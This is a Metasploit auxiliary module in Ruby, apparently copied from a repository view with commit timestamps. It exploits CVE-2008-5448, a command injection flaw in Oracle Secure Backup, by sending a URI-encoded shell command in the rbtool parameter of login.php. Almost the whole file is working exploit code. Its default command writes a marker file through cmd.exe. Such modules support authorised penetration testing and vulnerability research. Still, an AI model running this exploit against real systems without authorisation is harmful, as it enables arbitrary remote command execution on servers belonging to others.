metasploit-framework/modules/auxiliary/admin/oracle/osb_execqr.rb

55 lines
1.5 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Auxiliary
2013-08-30 21:28:54 +00:00
include Msf::Exploit::Remote::HttpClient
2013-08-30 21:28:54 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'Oracle Secure Backup exec_qr() Command Injection Vulnerability',
'Description' => %q{
This module exploits a command injection vulnerablility in Oracle Secure Backup version 10.1.0.3 to 10.2.0.2.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2008-5448' ],
[ 'OSVDB', '51342' ],
[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2009.html' ],
[ 'ZDI', '09-003' ],
2013-08-30 21:28:54 +00:00
],
'DisclosureDate' => 'Jan 14 2009'))
2013-08-30 21:28:54 +00:00
register_options(
[
Opt::RPORT(443),
OptString.new('CMD', [ false, "The command to execute.", "cmd.exe /c echo metasploit > %SYSTEMDRIVE%\\metasploit.txt" ]),
OptBool.new('SSL', [true, 'Use SSL', true]),
], self.class)
end
2013-08-30 21:28:54 +00:00
def run
2013-08-30 21:28:54 +00:00
r = Rex::Text.rand_text_english(2)
2013-08-30 21:28:54 +00:00
cmd = datastore['CMD']
2013-08-30 21:28:54 +00:00
uri = "/login.php?clear=no&ora_osb_lcookie=&ora_osb_bgcookie=#{r}&button=Logout&rbtool="
2013-08-30 21:28:54 +00:00
req = uri + Rex::Text.uri_encode(cmd)
2013-08-30 21:28:54 +00:00
print_status("Sending command: #{datastore['CMD']}...")
2013-08-30 21:28:54 +00:00
res = send_request_raw({'uri' => req,},5)
2013-08-30 21:28:54 +00:00
print_status("Done.")
2013-08-30 21:28:54 +00:00
end
end